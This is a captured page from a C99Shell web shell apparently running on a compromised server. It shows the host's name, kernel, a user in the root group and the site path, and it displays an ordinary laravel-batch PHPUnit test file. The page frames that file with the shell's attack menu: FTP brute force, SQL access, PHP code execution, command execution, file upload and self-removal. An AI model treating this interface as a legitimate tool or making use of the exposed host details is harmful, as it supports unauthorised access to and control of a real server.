!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/mavinoo/laravel-batch/tests/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BatchInsertTest.php (3.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

use 
Mavinoo\Batch\Batch;

require_once 
'BootstrapDatabase.php';

class 
BatchInsertTest extends BootstrapDatabase
{
    public 
$columns = [
        
'email',
        
'password',
        
'name',
        
'status',
        
'is_vip'
    
];

    public function 
testBatchInsertWithFacade()
    {
        
$values = [
            [
                
'djunehor@gmail.com',
                
bcrypt('djunehor'),
                
'djunehor',
                
'active',
                
true,
            ],
            [
                
'samuel@gmail.com',
                
bcrypt('samuel'),
                
'samuel',
                
'whodey',
                
false,
            ],
            [
                
'general@gmail.com',
                
bcrypt('general'),
                
'general',
                
'inactive',
                
false,
            ]
        ];
        
$batchSize 500// insert 500 (default), 100 minimum rows in one query

        
$result Batch::insert($this->model$this->columns$values$batchSize);

        
$this->assertIsArray($result);
        
$this->assertTrue($result['totalRows'] === 3);
        
$this->assertTrue($result['totalBatch'] === 500);
        
$this->model->truncate();
    }

    public function 
testBatchInsertIncorrectColumnCount()
    {
        
$columns = [
            
'email',
            
'password',
            
'name',
            
'status',
        ];

        
$values = [
            [
                
'djunehor@gmail.com',
                
bcrypt('djunehor'),
                
'djunehor',
                
'active',
            ],
            [
                
'samuel@gmail.com',
                
bcrypt('samuel'),
                
'samuel',
                
'whodey',
            ],
            [
                
'general@gmail.com',
                
bcrypt('general'),
                
'general',
                
'inactive',
            ]
        ];
        
$batchSize 500// insert 500 (default), 100 minimum rows in one query

        
$result Batch::insert($this->model$this->columns$values$batchSize);
        
$this->assertFalse($result);
    }

    public function 
testBatchInsertWithHelper()
    {
        
$values = [
            [
                
'djunehor@gmail.com',
                
bcrypt('djunehor'),
                
'djunehor',
                
'active',
                
true,
            ],
            [
                
'samuel@gmail.com',
                
bcrypt('samuel'),
                
'samuel',
                
'whodey',
                
false,
            ],
            [
                
'general@gmail.com',
                
bcrypt('general'),
                
'general',
                
'inactive',
                
false,
            ]
        ];
        
$batchSize 500// insert 500 (default), 100 minimum rows in one query

        
$result batch()->insert($this->model$this->columns$values$batchSize);

        
$this->assertIsArray($result);
        
$this->assertTrue($result['totalRows'] === 3);
        
$this->assertTrue($result['totalBatch'] === 500);
        
$this->model->truncate();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--